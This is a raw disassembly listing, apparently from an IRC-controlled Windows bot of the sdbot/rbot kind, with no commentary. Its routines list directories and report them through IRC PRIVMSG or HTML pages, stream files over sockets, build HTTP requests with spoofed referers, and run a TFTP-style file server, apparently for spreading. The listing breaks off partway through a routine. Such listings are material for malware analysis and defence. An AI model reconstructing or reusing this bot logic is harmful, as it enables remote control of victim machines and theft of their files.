var_490 = byte ptr -490h
var_388 = dword ptr -388h
var_374 = byte ptr -374h
var_368 = dword ptr -368h
var_35C = byte ptr -35Ch
var_248 = byte ptr -248h
var_48 = byte ptr -48h
var_20 = byte ptr -20h
var_18 = word ptr -18h
var_16 = word ptr -16h
var_12 = word ptr -12h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 594h
push ebx
push esi
push edi
xor ebx, ebx
push 104h
lea eax, [ebp+var_594]
push ebx
push eax
mov [ebp+var_4], ebx
mov [ebp+var_8], ebx
call sub_417430
mov edi, [ebp+arg_0]
push offset asc_4285AC ; "\n"
push edi
call sub_41824D
add esp, 14h
cmp [ebp+arg_8], ebx
jz short loc_406356
push edi
mov esi, 200h
push [ebp+arg_8]
lea eax, [ebp+var_248]
push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n"
push esi
push eax
call sub_41792A
add esp, 14h
jmp loc_406453
; ---------------------------------------------------------------------------
loc_406356: ; CODE XREF: sub_4062F7+3Aj
cmp [ebp+arg_C], ebx
push edi
jz loc_406439
call sub_417AF0
mov [eax+edi-1], bl
push edi
mov esi, 200h
push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41792A
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_417AF0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_441408 ; send
push edi
push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41792A
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_417AF0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_441408 ; send
push edi
call sub_417AF0
push 3Ch
push 96h
mov byte ptr [eax+edi], 2Ah
push 0E6h
push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41792A
add esp, 1Ch
lea eax, [ebp+var_248]
push ebx
push eax
call sub_417AF0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_441408 ; send
push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41792A
add esp, 0Ch
jmp short loc_406453
; ---------------------------------------------------------------------------
loc_406439: ; CODE XREF: sub_4062F7+63j
mov esi, 200h
push offset aSearchingForS ; "Searching for: %s\r\n"
lea eax, [ebp+var_248]
push esi
push eax
call sub_41792A
add esp, 10h
loc_406453: ; CODE XREF: sub_4062F7+5Aj
; sub_4062F7+140j
lea eax, [ebp+var_248]
push ebx
push eax
call sub_417AF0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_441408 ; send
cmp [ebp+arg_C], ebx
jz short loc_4064EB
push [ebp+arg_C]
call sub_417AF0
cmp eax, 2
pop ecx
jbe short loc_4064EB
push [ebp+arg_C]
call sub_417AF0
sub eax, 3
pop ecx
jz short loc_40649F
loc_406493: ; CODE XREF: sub_4062F7+1A6j
mov ecx, [ebp+arg_C]
cmp byte ptr [eax+ecx], 2Fh
jz short loc_40649F
dec eax
jnz short loc_406493
loc_40649F: ; CODE XREF: sub_4062F7+19Aj
; sub_4062F7+1A3j
inc eax
push eax
lea eax, [ebp+var_594]
push [ebp+arg_C]
push eax
call sub_4182F0
lea eax, [ebp+var_594]
push eax
push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41792A
add esp, 1Ch
lea eax, [ebp+var_248]
push ebx
push eax
call sub_417AF0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_441408 ; send
loc_4064EB: ; CODE XREF: sub_4062F7+17Ej
; sub_4062F7+18Cj
lea eax, [ebp+var_388]
push eax
push edi
nop
call near ptr 7C8137D9h
lea ecx, [ebp+var_388]
mov [ebp+arg_0], eax
push ecx
push eax
nop
call near ptr 7C834EB1h
test eax, eax
jz loc_4068DC
mov edi, 1FFh
loc_406517: ; CODE XREF: sub_4062F7+5DFj
cmp [ebp+var_388], ebx
jz loc_4068C4
lea eax, [ebp+var_35C]
push offset a__ ; ".."
push eax
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_4068C4
lea eax, [ebp+var_35C]
push offset a_ ; "."
push eax
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_4068C4
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_374]
push eax
nop
call near ptr 7C80E866h
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_20]
push eax
nop
call near ptr 7C80E7ECh
mov ax, [ebp+var_10]
mov ecx, offset aPm ; "PM"
cmp ax, 0Ch
ja short loc_40658C
mov ecx, offset aAm ; "AM"
loc_40658C: ; CODE XREF: sub_4062F7+28Ej
cmp ax, 0Ch
movzx eax, ax
jbe short loc_406598
sub eax, 0Ch
loc_406598: ; CODE XREF: sub_4062F7+29Cj
push ecx
movzx ecx, [ebp+var_E]
push ecx
push eax
movzx eax, [ebp+var_18]
push eax
movzx eax, [ebp+var_12]
push eax
movzx eax, [ebp+var_16]
push eax
lea eax, [ebp+var_48]
push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s"
push eax
call sub_4173AC
add esp, 20h
test byte ptr [ebp+var_388], 10h
jz loc_406745
inc [ebp+var_8]
cmp [ebp+arg_8], ebx
jz short loc_406619
lea eax, [ebp+var_35C]
push eax
push offset aS_0 ; "<%s>"
lea eax, [ebp+var_490]
push 106h
push eax
call sub_41792A
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_490]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_8]
push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n"
push esi
push eax
call sub_41792A
add esp, 28h
jmp loc_406895
; ---------------------------------------------------------------------------
loc_406619: ; CODE XREF: sub_4062F7+2DBj
cmp [ebp+arg_C], ebx
jz loc_406703
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi
push eax
call sub_41792A
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_417AF0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_441408 ; send
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_C]
push offset aSS ; "%s%s/"
push edi
push eax
call sub_41792A
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_417AF0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_441408 ; send
lea eax, [ebp+var_35C]
push eax
call sub_417AF0
cmp eax, 1Eh
pop ecx
lea eax, [ebp+var_35C]
push eax
jbe short loc_4066B9
push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
jmp short loc_4066BE
; ---------------------------------------------------------------------------
loc_4066B9: ; CODE XREF: sub_4062F7+3B9j
push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"
loc_4066BE: ; CODE XREF: sub_4062F7+3C0j
lea eax, [ebp+var_248]
push edi
push eax
call sub_41792A
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_417AF0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_441408 ; send
lea eax, [ebp+var_48]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
push edi
jmp loc_406886
; ---------------------------------------------------------------------------
loc_406703: ; CODE XREF: sub_4062F7+325j
lea eax, [ebp+var_35C]
push eax
push offset aS_0 ; "<%s>"
lea eax, [ebp+var_490]
push 106h
push eax
call sub_41792A
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_490]
push eax
push offset a31s21s ; "%-31s %-21s\r\n"
loc_406730: ; CODE XREF: sub_4062F7+476j
lea eax, [ebp+var_248]
push esi
push eax
call sub_41792A
add esp, 24h
jmp loc_406895
; ---------------------------------------------------------------------------
loc_406745: ; CODE XREF: sub_4062F7+2CFj
inc [ebp+var_4]
cmp [ebp+arg_8], ebx
jz short loc_40676F
push ebx
push [ebp+var_368]
call sub_40D5BA
push eax
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_35C]
push eax
push [ebp+arg_8]
push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n"
jmp short loc_406730
; ---------------------------------------------------------------------------
loc_40676F: ; CODE XREF: sub_4062F7+454j
cmp [ebp+arg_C], ebx
jz loc_40686F
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi
push eax
call sub_41792A
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_417AF0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_441408 ; send
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_C]
push offset aSS_2 ; "%s%s"
push edi
push eax
call sub_41792A
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_417AF0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_441408 ; send
lea eax, [ebp+var_35C]
push eax
call sub_417AF0
cmp eax, 1Fh
pop ecx
lea eax, [ebp+var_35C]
push eax
jbe short loc_40680F
push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
jmp short loc_406814
; ---------------------------------------------------------------------------
loc_40680F: ; CODE XREF: sub_4062F7+50Fj
push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"
loc_406814: ; CODE XREF: sub_4062F7+516j
lea eax, [ebp+var_248]
push edi
push eax
call sub_41792A
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_417AF0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_441408 ; send
mov eax, [ebp+var_368]
shr eax, 0Ah
push eax
lea eax, [ebp+var_48]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
lea eax, [ebp+var_248]
push edi
push eax
call sub_41792A
add esp, 1Ch
jmp short loc_406895
; ---------------------------------------------------------------------------
loc_40686F: ; CODE XREF: sub_4062F7+47Bj
push [ebp+var_368]
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_35C]
push eax
push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n"
push esi
loc_406886: ; CODE XREF: sub_4062F7+407j
lea eax, [ebp+var_248]
push eax
call sub_41792A
add esp, 18h
loc_406895: ; CODE XREF: sub_4062F7+31Dj
; sub_4062F7+449j ...
lea eax, [ebp+var_248]
push ebx
push eax
call sub_417AF0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_441408 ; send
cmp [ebp+arg_8], ebx
jz short loc_4068C4
push 7D0h
nop
call near ptr 7C802442h
loc_4068C4: ; CODE XREF: sub_4062F7+226j
; sub_4062F7+241j ...
lea eax, [ebp+var_388]
push eax
push [ebp+arg_0]
nop
call near ptr 7C834EB1h
test eax, eax
jnz loc_406517
loc_4068DC: ; CODE XREF: sub_4062F7+215j
push [ebp+arg_0]
nop
call near ptr 7C80EDD7h
cmp [ebp+arg_8], ebx
jz short loc_40691F
mov eax, [ebp+var_8]
cdq
push edx
push eax
call sub_40D5BA
pop ecx
pop ecx
push eax
mov eax, [ebp+var_4]
cdq
push edx
push eax
call sub_40D5BA
pop ecx
pop ecx
push eax
lea eax, [ebp+var_248]
push [ebp+arg_8]
push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
push eax
call sub_4173AC
add esp, 14h
jmp short loc_406953
; ---------------------------------------------------------------------------
loc_40691F: ; CODE XREF: sub_4062F7+5F1j
cmp [ebp+arg_C], ebx
jz short loc_406939
lea eax, [ebp+var_248]
push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
push eax
call sub_4173AC
pop ecx
pop ecx
jmp short loc_406953
; ---------------------------------------------------------------------------
loc_406939: ; CODE XREF: sub_4062F7+62Bj
push [ebp+var_8]
lea eax, [ebp+var_248]
push [ebp+var_4]
push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
push eax
call sub_4173AC
add esp, 10h
loc_406953: ; CODE XREF: sub_4062F7+626j
; sub_4062F7+640j
lea eax, [ebp+var_248]
push ebx
push eax
call sub_417AF0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_441408 ; send
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
sub_4062F7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406979 proc near ; CODE XREF: sub_405EC5+13Bp
var_404 = byte ptr -404h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 404h
push ebx
push esi
xor esi, esi
push edi
push esi
push esi
push 3
push esi
push 1
push 80000000h
push [ebp+arg_4]
mov edi, 400h
mov [ebp+var_4], esi
nop
call near ptr 7C801A24h
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_406A31
push esi
push ebx
nop
call near ptr 7C810A77h
cmp eax, esi
mov [ebp+arg_4], eax
jz short loc_406A2A
loc_4069BE: ; CODE XREF: sub_406979+AFj
push 400h
lea eax, [ebp+var_404]
push esi
push eax
call sub_417430
add esp, 0Ch
cmp edi, [ebp+arg_4]
jbe short loc_4069DB
mov edi, [ebp+arg_4]
loc_4069DB: ; CODE XREF: sub_406979+5Dj
mov eax, [ebp+arg_4]
push 2
neg eax
push esi
push eax
push ebx
nop
call near ptr 7C810B8Eh
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_404]
push edi
push eax
push ebx
nop
call near ptr 7C80180Eh
push esi
lea eax, [ebp+var_404]
push edi
push eax
push [ebp+arg_0]
call dword_441408 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_406A25
call dword_44134C ; WSAGetLastError
cmp eax, 2733h
jnz short loc_406A2A
xor eax, eax
loc_406A25: ; CODE XREF: sub_406979+9Bj
sub [ebp+arg_4], eax
jnz short loc_4069BE
loc_406A2A: ; CODE XREF: sub_406979+43j
; sub_406979+A8j
push ebx
nop
call near ptr 7C809B47h
loc_406A31: ; CODE XREF: sub_406979+30j
pop edi
pop esi
pop ebx
leave
retn
sub_406979 endp
; =============== S U B R O U T I N E =======================================
sub_406A36 proc near ; CODE XREF: sub_406047+17Cp
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
xor esi, esi
push edi
call sub_417AF0
test eax, eax
pop ecx
jbe short loc_406A5F
loc_406A49: ; CODE XREF: sub_406A36+27j
cmp byte ptr [esi+edi], 5Ch
jnz short loc_406A53
mov byte ptr [esi+edi], 2Fh
loc_406A53: ; CODE XREF: sub_406A36+17j
push edi
inc esi
call sub_417AF0
cmp esi, eax
pop ecx
jb short loc_406A49
loc_406A5F: ; CODE XREF: sub_406A36+11j
mov eax, edi
pop edi
pop esi
retn
sub_406A36 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406A64 proc near ; CODE XREF: sub_40F6F1+2CE7p
var_4A0 = byte ptr -4A0h
var_310 = byte ptr -310h
var_110 = byte ptr -110h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 4A0h
push ebx
lea eax, [ebp+var_4A0]
push edi
push eax
push 101h
call dword_441330 ; WSAStartup
push 6
push 1
push 2
call dword_441438 ; socket
mov ebx, eax
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_417430
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_14]
call dword_4413B8 ; ntohs
push [ebp+arg_10]
mov [ebp+var_E], ax
call sub_40AE95
pop ecx
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_441360 ; connect
cmp eax, 0FFFFFFFFh
jz short loc_406B41
mov eax, [ebp+arg_20]
cmp eax, edi
jnz short loc_406ADD
mov eax, offset byte_43C63C
loc_406ADD: ; CODE XREF: sub_406A64+72j
push esi
mov esi, 100h
push [ebp+arg_10]
push eax
lea eax, [ebp+var_110]
push [ebp+arg_1C]
push [ebp+arg_18]
push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
push esi
push eax
call sub_41792A
add esp, 1Ch
lea eax, [ebp+var_110]
push edi
push eax
call sub_417AF0
pop ecx
push eax
lea eax, [ebp+var_110]
push eax
push ebx
call dword_441408 ; send
push esi
lea eax, [ebp+var_110]
push edi
push eax
call sub_417490
add esp, 0Ch
lea eax, [ebp+var_110]
push edi
push esi
push eax
push ebx
call dword_4413D0 ; recv
pop esi
loc_406B41: ; CODE XREF: sub_406A64+6Bj
push ebx
call dword_441450 ; closesocket
call dword_441318 ; WSACleanup
lea eax, [ebp+var_110]
push eax
lea eax, [ebp+var_310]
push eax
call sub_4173AC
cmp [ebp+arg_C], edi
pop ecx
pop ecx
jnz short loc_406B81
push edi
lea eax, [ebp+var_310]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40DC10
add esp, 14h
loc_406B81: ; CODE XREF: sub_406A64+102j
pop edi
pop ebx
leave
retn
sub_406A64 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406B85 proc near ; CODE XREF: sub_406B85:loc_407070p
; DATA XREF: sub_4071BD+107o ...
var_884 = dword ptr -884h
var_880 = dword ptr -880h
var_780 = byte ptr -780h
var_580 = byte ptr -580h
var_57F = byte ptr -57Fh
var_57E = byte ptr -57Eh
var_57D = byte ptr -57Dh
var_57C = byte ptr -57Ch
var_37C = dword ptr -37Ch
var_378 = byte ptr -378h
var_274 = byte ptr -274h
var_170 = dword ptr -170h
var_16C = dword ptr -16Ch
var_168 = dword ptr -168h
var_164 = byte ptr -164h
var_E4 = dword ptr -0E4h
var_E0 = dword ptr -0E0h
var_D8 = byte ptr -0D8h
var_D7 = byte ptr -0D7h
var_D6 = byte ptr -0D6h
var_D5 = byte ptr -0D5h
var_58 = byte ptr -58h
var_44 = word ptr -44h
var_42 = word ptr -42h
var_40 = dword ptr -40h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = byte ptr -2Ch
var_28 = dword ptr -28h
var_1C = byte ptr -1Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 884h
push ebx
push esi
push edi
mov edx, [ebp+arg_0]
mov esi, offset aOctet ; "octet"
lea edi, [ebp+var_1C]
movsd
push 1
xor ebx, ebx
movsw
pop eax
mov ecx, 0A9h
mov esi, edx
lea edi, [ebp+var_37C]
push ebx
push 2
rep movsd
inc [ebp+var_16C]
push 2
mov [ebp+var_C], eax
mov [edx+2A0h], eax
call dword_441438 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_10], edi
jnz short loc_406C48
push 190h
nop
call near ptr 7C802442h
call dword_44134C ; WSAGetLastError
push eax
lea eax, [ebp+var_780]
push offset unk_428B80
push eax
call sub_4173AC
add esp, 0Ch
cmp [ebp+var_E0], ebx
jnz short loc_406C28
push ebx
lea eax, [ebp+var_780]
push [ebp+var_E4]
push eax
lea eax, [ebp+var_164]
push eax
push [ebp+var_37C]
call sub_40DC10
add esp, 14h
loc_406C28: ; CODE XREF: sub_406B85+7Ej
lea eax, [ebp+var_780]
push eax
call sub_40C4F7
push [ebp+var_170]
call sub_417174
pop ecx
pop ecx
push ebx
nop
call near ptr 7C80C058h
loc_406C48: ; CODE XREF: sub_406B85+50j
mov eax, [ebp+var_170]
push 10h
imul eax, 234h
push ebx
mov dword_446E1C[eax], edi
lea eax, [ebp+var_44]
push eax
call sub_417430
add esp, 0Ch
mov [ebp+var_44], 2
push [ebp+var_168]
call dword_4413B8 ; ntohs
mov [ebp+var_42], ax
lea eax, [ebp+var_44]
push 10h
push eax
push edi
mov [ebp+var_40], ebx
call dword_4413E4 ; bind
cmp eax, 0FFFFFFFFh
jnz short loc_406CAD
push 1388h
nop
call near ptr 7C802442h
dec [ebp+var_16C]
push [ebp+arg_0]
jmp loc_407070
; ---------------------------------------------------------------------------
loc_406CAD: ; CODE XREF: sub_406B85+10Dj
lea eax, [ebp+var_378]
push offset aRb ; "rb"
push eax
call sub_41823A
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_8], eax
jnz short loc_406D2B
push 190h
nop
call near ptr 7C802442h
lea eax, [ebp+var_378]
push eax
lea eax, [ebp+var_780]
push offset unk_428B4C
push eax
call sub_4173AC
push ebx
lea eax, [ebp+var_780]
push [ebp+var_E4]
push eax
lea eax, [ebp+var_164]
push eax
push [ebp+var_37C]
call sub_40DC10
lea eax, [ebp+var_780]
push eax
call sub_40C4F7
push [ebp+var_170]
call sub_417174
add esp, 28h
push ebx
nop
call near ptr 7C80C058h
loc_406D2B: ; CODE XREF: sub_406B85+140j
mov esi, 200h
loc_406D30: ; CODE XREF: sub_406B85+4A5j
mov eax, [ebp+arg_0]
cmp [eax+2A0h], ebx
jz loc_407030
mov [ebp+var_880], edi
mov edi, 80h
push edi
lea eax, [ebp+var_D8]
push ebx
push eax
mov [ebp+var_34], 5
mov [ebp+var_30], 1388h
mov [ebp+var_884], 1
call sub_417430
add esp, 0Ch
lea eax, [ebp+var_34]
push eax
push ebx
lea eax, [ebp+var_884]
push ebx
push eax
push ebx
call dword_4413A0 ; select
test eax, eax
jle loc_407024
mov al, byte_43C63C
mov ecx, edi
mov [ebp+var_580], al
xor eax, eax
lea edi, [ebp+var_57F]
mov [ebp+var_4], 10h
rep stosd
stosw
stosb
mov edi, [ebp+var_10]
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_2C]
push eax
push ebx
lea eax, [ebp+var_D8]
push 80h
push eax
push edi
call dword_441390 ; recvfrom
push [ebp+var_28]
mov [ebp+var_C], eax
call dword_441444 ; inet_ntoa
push eax
lea eax, [ebp+var_58]
push eax
call sub_4173AC
cmp [ebp+var_D8], bl
pop ecx
pop ecx
jnz loc_40700E
cmp [ebp+var_D7], 1
jnz loc_406F5A
lea eax, [ebp+var_274]
push eax
call sub_417AF0
lea eax, [ebp+eax+var_D5]
mov [ebp+var_14], eax
lea eax, [ebp+var_274]
push eax
call sub_417AF0
push eax
lea eax, [ebp+var_D6]
push eax
lea eax, [ebp+var_274]
push eax
call sub_418480
add esp, 14h
test eax, eax
jnz loc_406F14
lea eax, [ebp+var_1C]
push eax
call sub_417AF0
push eax
lea eax, [ebp+var_1C]
push [ebp+var_14]
push eax
call sub_418480
add esp, 10h
test eax, eax
jnz loc_406F14
push ebx
push ebx
push [ebp+var_8]
call sub_4183EE
push [ebp+var_8]
lea eax, [ebp+var_57C]
mov [ebp+var_580], bl
mov [ebp+var_57F], 3
push esi
push 1
push eax
mov [ebp+var_57E], bl
mov [ebp+var_57D], 1
call sub_418132
add esp, 1Ch
lea ecx, [ebp+var_2C]
mov [ebp+var_C], eax
add eax, 4
push [ebp+var_4]
push ecx
push ebx
push eax
lea eax, [ebp+var_580]
push eax
push edi
call dword_44141C ; sendto
lea eax, [ebp+var_378]
push eax
lea eax, [ebp+var_58]
push eax
push offset dword_428B04
loc_406EC8: ; CODE XREF: sub_406B85+484j
lea eax, [ebp+var_780]
push eax
call sub_4173AC
add esp, 10h
cmp [ebp+var_E0], ebx
jnz short loc_406F02
push ebx
lea eax, [ebp+var_780]
push [ebp+var_E4]
push eax
lea eax, [ebp+var_164]
push eax
push [ebp+var_37C]
call sub_40DC10
add esp, 14h
loc_406F02: ; CODE XREF: sub_406B85+358j
lea eax, [ebp+var_780]
push eax
call sub_40C4F7
pop ecx
jmp loc_407024
; ---------------------------------------------------------------------------
loc_406F14: ; CODE XREF: sub_406B85+2B6j
; sub_406B85+2D7j
push [ebp+var_4]
lea eax, [ebp+var_2C]
push eax
push ebx
push 13h
push offset dword_428AF0
push edi
call dword_44141C ; sendto
lea eax, [ebp+var_274]
push eax
lea eax, [ebp+var_58]
push eax
lea eax, [ebp+var_D8]
push offset unk_428ABC
push eax
call sub_4173AC
lea eax, [ebp+var_D8]
push eax
call sub_40C4F7
add esp, 14h
jmp loc_407024
; ---------------------------------------------------------------------------
loc_406F5A: ; CODE XREF: sub_406B85+275j
cmp [ebp+var_D7], 4
jnz loc_40700E
mov cl, [ebp+var_D5]
mov al, [ebp+var_D6]
cmp cl, 0FFh
mov [ebp+var_580], bl
mov [ebp+var_57F], 3
jnz short loc_406F97
inc al
xor cl, cl
mov [ebp+var_57E], al
mov [ebp+var_57D], bl
jmp short loc_406FA5
; ---------------------------------------------------------------------------
loc_406F97: ; CODE XREF: sub_406B85+3FEj
inc cl
mov [ebp+var_57E], al
mov [ebp+var_57D], cl
loc_406FA5: ; CODE XREF: sub_406B85+410j
movzx eax, al
movzx ecx, cl
shl eax, 8
add eax, ecx
push ebx
shl eax, 9
sub eax, esi
push eax
push [ebp+var_8]
call sub_4183EE
push [ebp+var_8]
lea eax, [ebp+var_57C]
push esi
push 1
push eax
call sub_418132
add esp, 1Ch
mov edi, eax
lea eax, [ebp+var_2C]
mov [ebp+var_C], edi
push [ebp+var_4]
push eax
lea eax, [edi+4]
push ebx
push eax
lea eax, [ebp+var_580]
push eax
push [ebp+var_10]
call dword_44141C ; sendto
cmp edi, ebx
jnz short loc_407024
lea eax, [ebp+var_378]
push eax
lea eax, [ebp+var_58]
push eax
push offset dword_428A68
jmp loc_406EC8
; ---------------------------------------------------------------------------
loc_40700E: ; CODE XREF: sub_406B85+268j
; sub_406B85+3DCj
push [ebp+var_4]
lea eax, [ebp+var_2C]
push eax
push ebx
push 9
push offset dword_428A5C
push edi
call dword_44141C ; sendto
loc_407024: ; CODE XREF: sub_406B85+204j
; sub_406B85+38Aj ...
cmp [ebp+var_C], ebx
mov edi, [ebp+var_10]
jg loc_406D30
loc_407030: ; CODE XREF: sub_406B85+1B4j
push edi
call dword_441450 ; closesocket
push [ebp+var_8]
call sub_4180DC
mov esi, [ebp+arg_0]
dec [ebp+var_16C]
pop ecx
cmp [esi+2A0h], ebx
jnz short loc_407064
push [ebp+var_170]
call sub_417174
pop ecx
push ebx
nop
call near ptr 7C80C058h
loc_407064: ; CODE XREF: sub_406B85+4CAj
push 3E8h
nop
call near ptr 7C802442h
push esi
loc_407070: ; CODE XREF: sub_406B85+123j
call sub_406B85
pop edi
pop esi
pop ebx
leave
retn 4
sub_406B85 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40707C proc near ; CODE XREF: sub_40F6F1+5E77p
; DATA XREF: ___:004257D0o ...
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 400h
push ebx
push edi
lea eax, [ebp+var_200]
push offset unk_4290B8
push eax
xor ebx, ebx
call sub_4173AC
cmp dword_428BF8, ebx
pop ecx
pop ecx
mov edi, 200h
jz short loc_4070EA
push esi
mov esi, offset dword_428C00
loc_4070AF: ; CODE XREF: sub_40707C+6Bj
mov eax, [esi]
add ebx, eax
push eax
lea eax, [esi-26h]
push eax
lea eax, [ebp+var_400]
push offset aSD ; " %s: %d,"
push eax
call sub_4173AC
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_4184C0
add esi, 3Ch
add esp, 1Ch
cmp dword ptr [esi-8], 0
jnz short loc_4070AF
pop esi
loc_4070EA: ; CODE XREF: sub_40707C+2Bj
push dword_5154C0
call sub_40BBF6
push eax
push ebx
lea eax, [ebp+var_400]
push offset aTotalDInS_ ; " Total: %d in %s."
push eax
call sub_4173AC
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_4184C0
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40DC10
lea eax, [ebp+var_200]
push eax
call sub_40C4F7
add esp, 38h
pop edi
pop ebx
leave
retn
sub_40707C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407146 proc near ; CODE XREF: sub_40F6F1+57F1p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push 8
call sub_4170A0
